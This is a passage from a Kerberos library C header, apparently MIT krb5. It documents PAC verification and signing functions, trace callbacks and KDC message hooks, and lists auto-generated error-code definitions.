should consider not * failing the whole authentication because of this reason, but, instead, * treating the ticket as if it did not contain a PAC or marking the PAC * information as non-verified. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_pac_verify(krb5_context context, const krb5_pac pac, krb5_timestamp authtime, krb5_const_principal principal, const krb5_keyblock *server, const krb5_keyblock *privsvr); /** * Verify a PAC, possibly from a specified realm. * * @param [in] context Library context * @param [in] pac PAC handle * @param [in] authtime Expected timestamp * @param [in] principal Expected principal name (or NULL) * @param [in] server Key to validate server checksum (or NULL) * @param [in] privsvr Key to validate KDC checksum (or NULL) * @param [in] with_realm If true, expect the realm of @a principal * * This function is similar to krb5_pac_verify(), but adds a parameter * @a with_realm. If @a with_realm is true, the PAC_CLIENT_INFO field is * expected to include the realm of @a principal as well as the name. This * flag is necessary to verify PACs in cross-realm S4U2Self referral TGTs. * * @version New in 1.17 */ krb5_error_code KRB5_CALLCONV krb5_pac_verify_ext(krb5_context context, const krb5_pac pac, krb5_timestamp authtime, krb5_const_principal principal, const krb5_keyblock *server, const krb5_keyblock *privsvr, krb5_boolean with_realm); /** * Verify a PAC, possibly including ticket signature * * @param [in] context Library context * @param [in] enc_tkt Ticket enc-part, possibly containing a PAC * @param [in] server_princ Canonicalized name of ticket server * @param [in] server Key to validate server checksum (or NULL) * @param [in] privsvr Key to validate KDC checksum (or NULL) * @param [out] pac_out Verified PAC (NULL if no PAC included) * * If a PAC is present in @a enc_tkt, verify its signatures. If @a privsvr is * not NULL and @a server_princ is not a krbtgt or kadmin/changepw service, * require a ticket signature over @a enc_tkt in addition to the KDC signature. * Place the verified PAC in @a pac_out. If an invalid PAC signature is found, * return an error matching the Windows KDC protocol code for that condition as * closely as possible. * * If no PAC is present in @a enc_tkt, set @a pac_out to NULL and return * successfully. * * @note This function does not validate the PAC_CLIENT_INFO buffer. If a * specific value is expected, the caller can make a separate call to * krb5_pac_verify_ext() with a principal but no keys. * * @retval 0 Success; otherwise - Kerberos error codes * * @version New in 1.20 */ krb5_error_code KRB5_CALLCONV krb5_kdc_verify_ticket(krb5_context context, const krb5_enc_tkt_part *enc_tkt, krb5_const_principal server_princ, const krb5_keyblock *server, const krb5_keyblock *privsvr, krb5_pac *pac_out); /** @deprecated Use krb5_kdc_sign_ticket() instead. */ krb5_error_code KRB5_CALLCONV krb5_pac_sign(krb5_context context, krb5_pac pac, krb5_timestamp authtime, krb5_const_principal principal, const krb5_keyblock *server_key, const krb5_keyblock *privsvr_key, krb5_data *data); /** @deprecated Use krb5_kdc_sign_ticket() instead. */ krb5_error_code KRB5_CALLCONV krb5_pac_sign_ext(krb5_context context, krb5_pac pac, krb5_timestamp authtime, krb5_const_principal principal, const krb5_keyblock *server_key, const krb5_keyblock *privsvr_key, krb5_boolean with_realm, krb5_data *data); /** * Compatibility function used by IPA if the 1.20 KDB diver API is not * available. It generates PAC signatures, including the extended KDC one when * relevant. * * It is similar to krb5_kdc_sign_ticket(), except it will not generate the * PAC ticket signature, and therefore does not expect encrypted ticket part as * parameter. * * @param [in] context Library context * @param [in] pac PAC handle * @param [in] authtime Expected timestamp * @param [in] client_princ Client principal name (or NULL) * @param [in] server_princ Server principal name * @param [in] server_key Key for server checksum * @param [in] privsvr_key Key for KDC checksum * @param [in] with_realm If true, include the realm of @a client_princ * @param [out] data Signed PAC encoding * * This function signs @a pac using the keys @a server_key and @a privsvr_key * and returns the signed encoding in @a data. @a pac is modified to include * the server and KDC checksum buffers. Use krb5_free_data_contents() to free * @a data when it is no longer needed. * * If @a with_realm is true, the PAC_CLIENT_INFO field of the signed PAC will * include the realm of @a client_princ as well as the name. This flag is * necessary to generate PACs for cross-realm S4U2Self referrals. */ krb5_error_code KRB5_CALLCONV krb5_pac_full_sign_compat(krb5_context context, krb5_pac pac, krb5_timestamp authtime, krb5_const_principal client_princ, krb5_const_principal server_princ, const krb5_keyblock *server_key, const krb5_keyblock *privsvr_key, krb5_boolean with_realm, krb5_data *data); /** * Sign a PAC, possibly including a ticket signature * * @param [in] context Library context * @param [in] enc_tkt The ticket for the signature * @param [in] pac PAC handle * @param [in] server_princ Canonical ticket server name * @param [in] client_princ PAC_CLIENT_INFO principal (or NULL) * @param [in] server Key for server checksum * @param [in] privsvr Key for KDC and ticket checksum * @param [in] with_realm If true, include the realm of @a principal * * Sign @a pac using the keys @a server and @a privsvr. Include a ticket * signature over @a enc_tkt if @a server_princ is not a TGS or kadmin/changepw * principal name. Add the signed PAC's encoding to the authorization data of * @a enc_tkt in the first slot, wrapped in an AD-IF-RELEVANT container. If @a * client_princ is non-null, add a PAC_CLIENT_INFO buffer, including the realm * if @a with_realm is true. * * @retval 0 on success, otherwise - Kerberos error codes * * @version New in 1.20 */ krb5_error_code KRB5_CALLCONV krb5_kdc_sign_ticket(krb5_context context, krb5_enc_tkt_part *enc_tkt, const krb5_pac pac, krb5_const_principal server_princ, krb5_const_principal client_princ, const krb5_keyblock *server, const krb5_keyblock *privsvr, krb5_boolean with_realm); /** * Read client information from a PAC. * * @param [in] context Library context * @param [in] pac PAC handle * @param [out] authtime_out Authentication timestamp (NULL if not needed) * @param [out] princname_out Client account name * * Read the PAC_CLIENT_INFO buffer in @a pac. Place the client account name as * a string in @a princname_out. If @a authtime_out is not NULL, place the * initial authentication timestamp in @a authtime_out. * * @retval 0 on success, ENOENT if no PAC_CLIENT_INFO buffer is present in @a * pac, ERANGE if the buffer contains invalid lengths. * * @version New in 1.18 */ krb5_error_code KRB5_CALLCONV krb5_pac_get_client_info(krb5_context context, const krb5_pac pac, krb5_timestamp *authtime_out, char **princname_out); /** * Allow the application to override the profile's allow_weak_crypto setting. * * @param [in] context Library context * @param [in] enable Boolean flag * * This function allows an application to override the allow_weak_crypto * setting. It is primarily for use by aklog. * * @retval 0 (always) */ krb5_error_code KRB5_CALLCONV krb5_allow_weak_crypto(krb5_context context, krb5_boolean enable); /** * A wrapper for passing information to a @c krb5_trace_callback. * * Currently, it only contains the formatted message as determined * the the format string and arguments of the tracing macro, but it * may be extended to contain more fields in the future. */ typedef struct _krb5_trace_info { const char *message; } krb5_trace_info; typedef void (KRB5_CALLCONV *krb5_trace_callback)(krb5_context context, const krb5_trace_info *info, void *cb_data); /** * Specify a callback function for trace events. * * @param [in] context Library context * @param [in] fn Callback function * @param [in] cb_data Callback data * * Specify a callback for trace events occurring in krb5 operations performed * within @a context. @a fn will be invoked with @a context as the first * argument, @a cb_data as the last argument, and a pointer to a * krb5_trace_info as the second argument. If the trace callback is reset via * this function or @a context is destroyed, @a fn will be invoked with a NULL * second argument so it can clean up @a cb_data. Supply a NULL value for @a * fn to disable trace callbacks within @a context. * * @note This function overrides the information passed through the * @a KRB5_TRACE environment variable. * * @version New in 1.9 * * @return Returns KRB5_TRACE_NOSUPP if tracing is not supported in the library * (unless @a fn is NULL). */ krb5_error_code KRB5_CALLCONV krb5_set_trace_callback(krb5_context context, krb5_trace_callback fn, void *cb_data); /** * Specify a file name for directing trace events. * * @param [in] context Library context * @param [in] filename File name * * Open @a filename for appending (creating it, if necessary) and set up a * callback to write trace events to it. * * @note This function overrides the information passed through the * @a KRB5_TRACE environment variable. * * @version New in 1.9 * * @retval KRB5_TRACE_NOSUPP Tracing is not supported in the library. */ krb5_error_code KRB5_CALLCONV krb5_set_trace_filename(krb5_context context, const char *filename); /** * Hook function for inspecting or modifying messages sent to KDCs. * * @param [in] context Library context * @param [in] data Callback data * @param [in] realm The realm the message will be sent to * @param [in] message The original message to be sent to the KDC * @param [out] new_message_out Optional replacement message to be sent * @param [out] reply_out Optional synthetic reply * * If the hook function returns an error code, the KDC communication will be * aborted and the error code will be returned to the library operation which * initiated the communication. * * If the hook function sets @a reply_out, @a message will not be sent to the * KDC, and the given reply will used instead. * * If the hook function sets @a new_message_out, the given message will be sent * to the KDC in place of @a message. * * If the hook function returns successfully without setting either output, * @a message will be sent to the KDC normally. * * The hook function should use krb5_copy_data() to construct the value for * @a new_message_out or @a reply_out, to ensure that it can be freed correctly * by the library. * * @version New in 1.15 * * @retval 0 Success * @return A Kerberos error code */ typedef krb5_error_code (KRB5_CALLCONV *krb5_pre_send_fn)(krb5_context context, void *data, const krb5_data *realm, const krb5_data *message, krb5_data **new_message_out, krb5_data **new_reply_out); /** * Hook function for inspecting or overriding KDC replies. * * @param [in] context Library context * @param [in] data Callback data * @param [in] code Status of KDC communication * @param [in] realm The realm the reply was received from * @param [in] message The message sent to the realm's KDC * @param [in] reply The reply received from the KDC * @param [out] new_reply_out Optional replacement reply * * If @a code is zero, @a reply contains the reply received from the KDC. The * hook function may return an error code to simulate an error, may synthesize * a different reply by setting @a new_reply_out, or may simply return * successfully to do nothing. * * If @a code is non-zero, KDC communication failed and @a reply should be * ignored. The hook function may return @a code or a different error code, or * may synthesize a reply by setting @a new_reply_out and return successfully. * * The hook function should use krb5_copy_data() to construct the value for * @a new_reply_out, to ensure that it can be freed correctly by the library. * * @version New in 1.15 * * @retval 0 Success * @return A Kerberos error code */ typedef krb5_error_code (KRB5_CALLCONV *krb5_post_recv_fn)(krb5_context context, void *data, krb5_error_code code, const krb5_data *realm, const krb5_data *message, const krb5_data *reply, krb5_data **new_reply_out); /** * Set a KDC pre-send hook function. * * @param [in] context Library context * @param [in] send_hook Hook function (or NULL to disable the hook) * @param [in] data Callback data to be passed to @a send_hook * * @a send_hook will be called before messages are sent to KDCs by library * functions such as krb5_get_credentials(). The hook function may inspect, * override, or synthesize its own reply to the message. * * @version New in 1.15 */ void KRB5_CALLCONV krb5_set_kdc_send_hook(krb5_context context, krb5_pre_send_fn send_hook, void *data); /** * Set a KDC post-receive hook function. * * @param [in] context The library context. * @param [in] recv_hook Hook function (or NULL to disable the hook) * @param [in] data Callback data to be passed to @a recv_hook * * @a recv_hook will be called after a reply is received from a KDC during a * call to a library function such as krb5_get_credentials(). The hook * function may inspect or override the reply. This hook will not be executed * if the pre-send hook returns a synthetic reply. * * @version New in 1.15 */ void KRB5_CALLCONV krb5_set_kdc_recv_hook(krb5_context context, krb5_post_recv_fn recv_hook, void *data); #if defined(TARGET_OS_MAC) && TARGET_OS_MAC # pragma pack(pop) #endif KRB5INT_END_DECLS /* Don't use this! We're going to phase it out. It's just here to keep applications from breaking right away. */ #define krb5_const const #undef KRB5_ATTR_DEPRECATED /** @} */ /* end of KRB5_H group */ #endif /* KRB5_GENERAL__ */ /* * et-h-krb5_err.h: * This file is automatically generated; please do not edit it. */ #include <et/com_err.h> #define KRB5KDC_ERR_NONE (-1765328384L) #define KRB5KDC_ERR_NAME_EXP (-1765328383L) #define KRB5KDC_ERR_SERVICE_EXP (-1765328382L) #define KRB5KDC_ERR_BAD_PVNO (-1765328381L) #define KRB5KDC_ERR_C_OLD_MAST_KVNO (-1765328380L) #define KRB5KDC_ERR_S_OLD_MAST_KVNO (-1765328379L) #define KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN (-1765328378L) #define KRB5KDC_ERR_S_PRINCIPAL_UNKNOWN (-1765328377L) #define KRB5KDC_ERR_PRINCIPAL_NOT_UNIQUE (-1765328376L) #define KRB5KDC_ERR_NULL_KEY (-1765328375L) #define KRB5KDC_ERR_CANNOT_POSTDATE (-1765328374L) #define KRB5KDC_ERR_NEVER_VALID (-1765328373L) #define KRB5KDC_ERR_POLICY (-1765328372L) #define KRB5KDC_ERR_BADOPTION (-1765328371L) #define KRB5KDC_ERR_ETYPE_NOSUPP (-1765328370L) #define KRB5KDC_ERR_SUMTYPE_NOSUPP (-1765328369L) #define KRB5KDC_ERR_PADATA_TYPE_NOSUPP (-1765328368L) #define KRB5KDC_ERR_TRTYPE_NOSUPP (-1765328367L) #define KRB5KDC_ERR_CLIENT_REVOKED (-1765328366L) #define KRB5KDC_ERR_SERVICE_REVOKED (-1765328365L) #define KRB5KDC_ERR_TGT_REVOKED (-1765328364L) #define KRB5KDC_ERR_CLIENT_NOTYET (-1765328363L) #define KRB5KDC_ERR_SERVICE_NOTYET (-1765328362L) #define KRB5KDC_ERR_KEY_EXP (-1765328361L) #define KRB5KDC_ERR_PREAUTH_FAILED (-1765328360L) #define KRB5KDC_ERR_PREAUTH_REQUIRED (-1765328359L) #define KRB5KDC_ERR_SERVER_NOMATCH (-1765328358L) #define KRB5KDC_ERR_MUST_USE_USER2USER (-1765328357L) #define KRB5KDC_ERR_PATH_NOT_ACCEPTED (-1765328356L) #define KRB5KDC_ERR_SVC_UNAVAILABLE (-1765328355L) #define KRB5PLACEHOLD_30 (-1765328354L) #define KRB5KRB_AP_ERR_BAD_INTEGRITY (-1765328353L) #define KRB5KRB_AP_ERR_TKT_EXPIRED (-1765328352L) #define KRB5KRB_AP_ERR_TKT_NYV (-1765328351L) #define KRB5KRB_AP_ERR_REPEAT (-1765328350L) #define KRB5KRB_AP_ERR_NOT_US (-1765328349L) #define KRB5KRB_AP_ERR_BADMATCH (-1765328348L) #define KRB5KRB_AP_ERR_SKEW (-1765328347L) #define KRB5KRB_AP_ERR_BADADDR (-1765328346L) #define KRB5KRB_AP_ERR_BADVERSION (-1765328345L) #define KRB5KRB_AP_ERR_MSG_TYPE (-1765328344L) #define KRB5KRB_AP_ERR_MODIFIED (-1765328343L) #define KRB5KRB_AP_ERR_BADORDER (-1765328342L) #define KRB5KRB_AP_ERR_ILL_CR_TKT (-1765328341L) #define KRB5KRB_AP_ERR_BADKEYVER (-1765328340L) #define KRB5KRB_AP_ERR_NOKEY (-1765328339L) #define KRB5KRB_AP_ERR_MUT_FAIL (-1765328338L) #define KRB5KRB_AP_ERR_BADDIRECTION (-1765328337L) #define KRB5KRB_AP_ERR_METHOD (-1765328336L) #define KRB5KRB_AP_ERR_BADSEQ (-1765328335L) #define KRB5KRB_AP_ERR_INAPP_CKSUM (-1765328334L) #define KRB5KRB_AP_PATH_NOT_ACCEPTED (-1765328333L) #define KRB5KRB_ERR_RESPONSE_TOO_BIG (-1765328332L) #define KRB5PLACEHOLD_53 (-1765328331L) #define KRB5PLACEHOLD_54 (-1765328330L) #define KRB5PLACEHOLD_55 (-1765328329L) #define KRB5PLACEHOLD_56 (-1765328328L) #define KRB5PLACEHOLD_57 (-1765328327L) #define KRB5PLACEHOLD_58 (-1765328326L) #define KRB5PLACEHOLD_59 (-1765328325L) #define KRB5KRB_ERR_GENERIC (-1765328324L) #define KRB5KRB_ERR_FIELD_TOOLONG (-1765328323L) #define KRB5KDC_ERR_CLIENT_NOT_TRUSTED (-1765328322L) #define KRB5KDC_ERR_KDC_NOT_TRUSTED (-1765328321L) #define KRB5KDC_ERR_INVALID_SIG (-1765328320L) #define KRB5KDC_ERR_DH_KEY_PARAMETERS_NOT_ACCEPTED (-1765328319L) #define KRB5KDC_ERR_CERTIFICATE_MISMATCH (-1765328318L) #define KRB5KRB_AP_ERR_NO_TGT (-1765328317L) #define KRB5KDC_ERR_WRONG_REALM (-1765328316L) #define KRB5KRB_AP_ERR_USER_TO_USER_REQUIRED (-1765328315L) #define KRB5KDC_ERR_CANT_VERIFY_CERTIFICATE (-1765328314L) #define KRB5KDC_ERR_INVALID_CERTIFICATE (-1765328313L) #define KRB5KDC_ERR_REVOKED_CERTIFICATE (-1765328312L) #define KRB5KDC_ERR_REVOCATION_STATUS_UNKNOWN (-1765328311L) #define KRB5KDC_ERR_REVOCATION_STATUS_UNAVAILABLE (-1765328310L) #define KRB5KDC_ERR_CLIENT_NAME_MISMATCH (-1765328309L) #define KRB5KDC_ERR_KDC_NAME_MISMATCH (-1765328308L) #define KRB5KDC_ERR_INCONSISTENT_KEY_PURPOSE (-1765328307L) #define KRB5KDC_ERR_DIGEST_IN_CERT_NOT_ACCEPTED (-1765328306L) #define KRB5KDC_ERR_PA_CHECKSUM_MUST_BE_INCLUDED (-1765328305L) #define KRB5KDC_ERR_DIGEST_IN_SIGNED_DATA_NOT_ACCEPTED (-1765328304L) #define KRB5KDC_ERR_PUBLIC_KEY_ENCRYPTION_NOT_SUPPORTED (-1765328303L) #define KRB5PLACEHOLD_82 (-1765328302L) #define KRB5PLACEHOLD_83 (-1765328301L) #define KRB5PLACEHOLD_84 (-1765328300L) #define KRB5KRB_AP_ERR_IAKERB_KDC_NOT_FOUND (-1765328299L) #define KRB5KRB_AP_ERR_IAKERB_KDC_NO_RESPONSE (-1765328298L) #define KRB5PLACEHOLD_87 (-1765328297L) #define KRB5PLACEHOLD_88 (-1765328296L) #define KRB5PLACEHOLD_89 (-1765328295L) #define KRB5KDC_ERR_PREAUTH_EXPIRED (-1765328294L) #define KRB5KDC_ERR_MORE_PREAUTH_DATA_REQUIRED (-1765328293L) #define KRB5PLACEHOLD_92 (-1765328292L) #define KRB5KDC_ERR_UNKNOWN_CRITICAL_FAST_OPTION (-1765328291L) #define KRB5PLACEHOLD_94 (-1765328290L) #define KRB5PLACEHOLD_95 (-1765328289L) #define KRB5PLACEHOLD_96 (-1765328288L) #define KRB5PLACEHOLD_97 (-1765328287L) #define KRB5PLACEHOLD_98 (-1765328286L) #define KRB5PLACEHOLD_99 (-1765328285L) #define KRB5KDC_ERR_NO_ACCEPTABLE_KDF (-1765328284L) #define KRB5PLACEHOLD_101 (-1765328283L) #define KRB5PLACEHOLD_102 (-1765328282L) #define KRB5PLACEHOLD_103 (-1765328281L) #define KRB5PLACEHOLD_104 (-1765328280L) #define KRB5PLACEHOLD_105 (-1765328279L) #define KRB5PLACEHOLD_106 (-1765328278L) #define KRB5PLACEHOLD_107 (-1765328277L) #define KRB5PLACEHOLD_108 (-1765328276L) #define KRB5PLACEHOLD_109 (-1765328275L) #define KRB5PLACEHOLD_110 (-1765328274L) #define KRB5PLACEHOLD_111 (-1765328273L) #define KRB5PLACEHOLD_112 (-1765328272L) #define KRB5PLACEHOLD_113 (-1765328271L) #define KRB5PLACEHOLD_114 (-1765328270L) #define KRB5PLACEHOLD_115 (-1765328269L) #define KRB5PLACEHOLD_116 (-1765328268L) #define KRB5PLACEHOLD_117 (-1765328267L) #define KRB5PLACEHOLD_118 (-1765328266L) #define KRB5PLACEHOLD_119 (-1765328265L) #define KRB5PLACEHOLD_120 (-1765328264L) #define KRB5PLACEHOLD_121 (-1765328263L) #define KRB5PLACEHOLD_122 (-1765328262L) #define KRB5PLACEHOLD_123 (-1765328261L) #define KRB5PLACEHOLD_124 (-1765328260L) #define KRB5PLACEHOLD_125 (-1765328259L) #define KRB5PLACEHOLD_126 (-1765328258L) #define KRB5PLACEHOLD_127 (-1765328257L) #define KRB5_ERR_RCSID (-1765328256L) #define KRB5_LIBOS_BADLOCKFLAG (-1765328255L) #define KRB5_LIBOS_CANTREADPWD (-1765328254L) #define KRB5_LIBOS_BADPWDMATCH (-1765328253L) #define KRB5_LIBOS_PWDINTR (-1765328252L) #define KRB5_PARSE_ILLCHAR (-1765328251L) #define KRB5_PARSE_MALFORMED (-1765328250L) #define KRB5_CONFIG_CANTOPEN (-1765328249L) #define KRB5_CONFIG_BADFORMAT (-1765328248L) #define KRB5_CONFIG_NOTENUFSPACE (-1765328247L) #define KRB5_BADMSGTYPE (-1765328246L) #define KRB5_CC_BADNAME (-1765328245L) #define KRB5_CC_UNKNOWN_TYPE (-1765328244L) #define KRB5_CC_NOTFOUND (-1765328243L) #define KRB5_CC_END (-1765328242L) #define KRB5_NO_TKT_SUPPLIED (-1765328241L) #define KRB5KRB_AP_WRONG_PRINC (-1765328240L) #define KRB5KRB_AP_ERR_TKT_INVALID (-1765328239L) #define KRB5_PRINC_NOMATCH (-1765328238L) #define KRB5_KDCREP_MODIFIED (-1765328237L) #define KRB5_KDCREP_SKEW (-1765328236L) #define KRB5_IN_TKT_REALM_MISMATCH (-1765328235L) #define KRB5_PROG_ETYPE_NOSUPP (-1765328234L) #define KRB5_PROG_KEYTYPE_NOSUPP (-1765328233L) #define KRB5_WRONG_ETYPE (-1765328232L) #define KRB5_PROG_SUMTYPE_NOSUPP (-1765328231L) #define KRB5_REALM_UNKNOWN (-1765328230L) #define KRB5_SERVICE_UNKNOWN (-1765328229L) #define KRB5_KDC_UNREACH (-1765328228L) #define KRB5_NO_LOCALNAME (-1765328227L) #define KRB5_MUTUAL_FAILED (-1765328226L) #define KRB5_RC_TYPE_EXISTS (-1765328225L) #define KRB5_RC_MALLOC (-1765328224L) #define KRB5_RC_TYPE_NOTFOUND (-1765328223L) #define KRB5_RC_UNKNOWN (-1765328222L) #define KRB5_RC_REPLAY (-1765328221L) #define KRB5_RC_IO (-1765328220L) #define KRB5_RC_NOIO (-1765328219L) #define KRB5_RC_PARSE (-1765328218L) #define KRB5_RC_IO_EOF (-1765328217L) #define KRB5_RC_IO_MALLOC (-1765328216L) #define KRB5_RC_IO_PERM (-1765328215L) #define KRB5_RC_IO_IO (-1765328214L) #define KRB5_RC_IO_UNKNOWN (-1765328213L) #define KRB5_RC_IO_SPACE (-1765328212L) #define KRB5_TRANS_CANTOPEN (-1765328211L) #define KRB5_TRANS_BADFORMAT (-1765328210L) #define KRB5_LNAME_CANTOPEN (-1765328209L) #define KRB5_LNAME_NOTRANS (-1765328208L) #define KRB5_LNAME_BADFORMAT (-1765328207L) #define KRB5_CRYPTO_INTERNAL (-1765328206L) #define KRB5_KT_BADNAME (-1765328205L) #define KRB5_KT_UNKNOWN_TYPE (-1765328204L) #define KRB5_KT_NOTFOUND (-1765328203L) #define KRB5_KT_END (-1765328202L) #define KRB5_KT_NOWRITE (-1765328201L) #define KRB5_KT_IOERR (-1765328200L) #define KRB5_NO_TKT_IN_RLM (-1765328199L) #define KRB5DES_BAD_KEYPAR (-1765328198L) #define KRB5DES_WEAK_KEY (-1765328197L) #define KRB5_BAD_ENCTYPE (-1765328196L) #define KRB5_BAD_KEYSIZE (-1765328195L) #define KRB5_BAD_MSIZE (-1765328194L) #define KRB5_CC_TYPE_EXISTS (-1765328193L) #define KRB5_KT_TYPE_EXISTS (-1765328192L) #define KRB5_CC_IO (-1765328191L) #define KRB5_FCC_PERM (-1765328190L) #define KRB5_FCC_NOFILE (-1765328189L) #define KRB5_FCC_INTERNAL (-1765328188L) #define KRB5_CC_WRITE (-1765328187L) #define KRB5_CC_NOMEM (-1765328186L) #define KRB5_CC_FORMAT (-1765328185L) #define KRB5_CC_NOT_KTYPE (-1765328184L) #define KRB5_INVALID_FLAGS (-1765328183L) #define KRB5_NO_2ND_TKT (-1765328182L) #define KRB5_NOCREDS_SUPPLIED (-1765328181L) #define KRB5_SENDAUTH_BADAUTHVERS (-1765328180L) #define KRB5_SENDAUTH_BADAPPLVERS (-1765328179L) #define KRB5_SENDAUTH_BADRESPONSE (-1765328178L) #define KRB5_SENDAUTH_REJECTED (-1765328177L) #define KRB5_PREAUTH_BAD_TYPE (-1765328176L) #define KRB5_PREAUTH_NO_KEY (-1765328175L) #define KRB5_PREAUTH_FAILED (-1765328174L) #define KRB5_RCACHE_BADVNO (-1765328173L) #define KRB5_CCACHE_BADVNO (-1765328172L) #define KRB5_KEYTAB_BADVNO (-1765328171L) #define KRB5_PROG_ATYPE_NOSUPP (-1765328170L) #define KRB5_RC_REQUIRED (-1765328169L) #define KRB5_ERR_BAD_HOSTNAME (-1765328168L) #define KRB5_ERR_HOST_REALM_UNKNOWN (-1765328167L) #define KRB5_SNAME_UNSUPP_NAMETYPE (-1765328166L) #define KRB5KRB_AP_ERR_V4_REPLY (-1765328165L) #define KRB5_REALM_CANT_RESOLVE (-1765328164L) #define KRB5_TKT_NOT_FORWARDABLE (-1765328163L) #define KRB5_FWD_BAD_PRINCIPAL (-1765328162L) #define KRB5_GET_IN_TKT_LOOP (-1765328161L) #define KRB5_CONFIG_NODEFREALM (-1765328160L) #define KRB5_SAM_UNSUPPORTED (-1765328159L) #define KRB5_SAM_INVALID_ETYPE (-1765328158L) #define KRB5_SAM_NO_CHECKSUM (-1765328157L) #define KRB5_SAM_BAD_CHECKSUM (-1765328156L) #define KRB5_KT_NAME_TOOLONG (-1765328155L) #define KRB5_KT_KVNONOTFOUND (-1765328154L) #define KRB5_APPL_EXPIRED (-1765328153L) #define KRB5_LIB_EXPIRED (-1765328152L) #define KRB5_CHPW_PWDNULL (-1765328151L) #define KRB5_CHPW_FAIL (-1765328150L) #define KRB5_KT_FORMAT (-1765328149L) #define KRB5_NOPERM_ETYPE (-1765328148L) #define KRB5_CONFIG_ETYPE_NOSUPP (-1765328147L) #define KRB5_OBSOLETE_FN (-1765328146L) #define KRB5_EAI_FAIL (-1765328145L) #define KRB5_EAI_NODATA (-1765328144L) #define KRB5_EAI_NONAME (-1765328143L) #define KRB5_EAI_SERVICE (-1765328142L) #define KRB5_ERR_NUMERIC_REALM (-1765328141L) #define KRB5_ERR_BAD_S2K_PARAMS (-1765328140L) #define KRB5_ERR_NO_SERVICE (-1765328139L) #define KRB5_CC_READONLY (-1765328138L) #define KRB5_CC_NOSUPP (-1765328137L) #define KRB5_DELTAT_BADFORMAT (-1765328136L) #define KRB5_PLUGIN_NO_HANDLE (-1765328135L) #define KRB5_PLUGIN_OP_NOTSUPP (-1765328134L) #define KRB5_ERR_INVALID_UTF8 (-1765328133L) #define KRB5_ERR_FAST_REQUIRED (-1765328132L) #define KRB5_LOCAL_ADDR_REQUIRED (-1765328131L) #define KRB5_REMOTE_ADDR_REQUIRED (-1765328130L) #define KRB5_TRACE_NOSUPP (-1765328129L) extern const struct error_table et_krb5_error_table; extern void initialize_krb5_error_table(void); /* For compatibility with Heimdal */ extern void initialize_krb5_error_table_r(struct et_list **list); #define ERROR_TABLE_BASE_krb5 (-1765328384L) /* for compatibility with older versions... */ #define init_krb5_err_tbl initialize_krb5_error_table #define krb5_err_base ERROR_TABLE_BASE_krb5 /* * et-h-k5e1_err.h: * This file is automatically generated; please do not edit it. */ #include <et/com_err.h> #define KRB5_PLUGIN_VER_NOTSUPP (-1750600192L) #define KRB5_PLUGIN_BAD_MODULE_SPEC (-1750600191L) #define KRB5_PLUGIN_NAME_NOTFOUND (-1750600190L) #define KRB5KDC_ERR_DISCARD (-1750600189L) #define KRB5_DCC_CANNOT_CREATE (-1750600188L) #define KRB5_KCC_INVALID_ANCHOR (-1750600187L) #define KRB5_KCC_UNKNOWN_VERSION (-1750600186L) #define KRB5_KCC_INVALID_UID (-1750600185L) #define KRB5_KCM_MALFORMED_REPLY (-1750600184L) #define KRB5_KCM_RPC_ERROR (-1750600183L) #define KRB5_KCM_REPLY_TOO_BIG (-1750600182L) #define KRB5_KCM_NO_SERVER (-1750600181L) #define KRB5_CERTAUTH_HWAUTH (-1750600180L) extern const struct error_table et_k5e1_error_table; extern void initialize_k5e1_error_table(void); /* For compatibility with Heimdal */ extern void initialize_k5e1_error_table_r(struct et_list **list); #define ERROR_TABLE_BASE_k5e1 (-1750600192L) /* for compatibility with older versions... */ #define init_k5e1_err_tbl initialize_k5e1_error_table #define k5e1_err_base ERROR_TABLE_BASE_k5e1 /* * et-h-kdb5_err.h: * This file is automatically generated; please do not edit it. */ #include <et/com_err.h> #define KRB5_KDB_RCSID (-1780008448L) #define KRB5_KDB_INUSE (-1780008447L) #define KRB5_KDB_UK_SERROR (-1780008446L) #define KRB5_KDB_UK_RERROR (-1780008445L) #define KRB5_KDB_UNAUTH (-1780008444L) #define KRB5_KDB_NOENTRY (-1780008443L) #define KRB5_KDB_ILL_WILDCARD (-1780008442L) #define KRB5_KDB_DB_INUSE (-1780008441L) #define KRB5_KDB_DB_CHANGED (-1780008440L) #define KRB5_KDB_TRUNCATED_RECORD (-1780008439L) #define KRB5_KDB_RECURSIVELOCK (-1780008438L) #define KRB5_KDB_NOTLOCKED (-1780008437L) #define KRB5_KDB_BADLOCKMODE (-1780008436L) #define KRB5_KDB_DBNOTINITED (-1780008435L) #define KRB5_KDB_DBINITED (-1780008434L) #define KRB5_KDB_ILLDIRECTION (-1780008433L) #define KRB5_KDB_NOMASTERKEY (-1780008432L) #define KRB5_KDB_BADMASTERKEY (-1780008431L) #define KRB5_KDB_INVALIDKEYSIZE (-1780008430L) #define KRB5_KDB_CANTREAD_STORED (-1780008429L) #define KRB5_KDB_BADSTORED_MKEY (-1780008428L) #define KRB5_KDB_NOACTMASTERKEY (-1780008427L) #define KRB5_KDB_KVNONOMATCH (-1780008426L) #define KRB5_KDB_STORED_MKEY_NOTCURRENT (-1780008425L) #define KRB5_KDB_CANTLOCK_DB (-1780008424L) #define KRB5_KDB_DB_CORRUPT (-1780008423L) #define KRB5_KDB_BAD_VERSION (-1780008422L) #define KRB5_KDB_BAD_SALTTYPE (-1780008421L) #define KRB5_KDB_BAD_ENCTYPE (-1780008420L) #define KRB5_KDB_BAD_CREATEFLAGS (-1780008419L) #define KRB5_KDB_NO_PERMITTED_KEY (-1780008418L) #define KRB5_KDB_NO_MATCHING_KEY (-1780008417L) #define KRB5_KDB_DBTYPE_NOTFOUND (-1780008416L) #define KRB5_KDB_DBTYPE_NOSUP (-1780008415L) #define KRB5_KDB_DBTYPE_INIT (-1780008414L) #define KRB5_KDB_SERVER_INTERNAL_ERR (-1780008413L) #define KRB5_KDB_ACCESS_ERROR (-1780008412L) #define KRB5_KDB_INTERNAL_ERROR (-1780008411L) #define KRB5_KDB_CONSTRAINT_VIOLATION (-1780008410L) #define KRB5_LOG_CONV (-1780008409L) #define KRB5_LOG_UNSTABLE (-1780008408L) #define KRB5_LOG_CORRUPT (-1780008407L) #define KRB5_LOG_ERROR (-1780008406L) #define KRB5_KDB_DBTYPE_MISMATCH (-1780008405L) #define KRB5_KDB_POLICY_REF (-1780008404L) #define KRB5_KDB_STRINGS_TOOLONG (-1780008403L) extern const struct error_table et_kdb5_error_table; extern void initialize_kdb5_error_table(void); /* For compatibility with Heimdal */ extern void initialize_kdb5_error_table_r(struct et_list **list); #define ERROR_TABLE_BASE_kdb5 (-1780008448L) /* for compatibility with older versions... */ #define init_kdb5_err_tbl 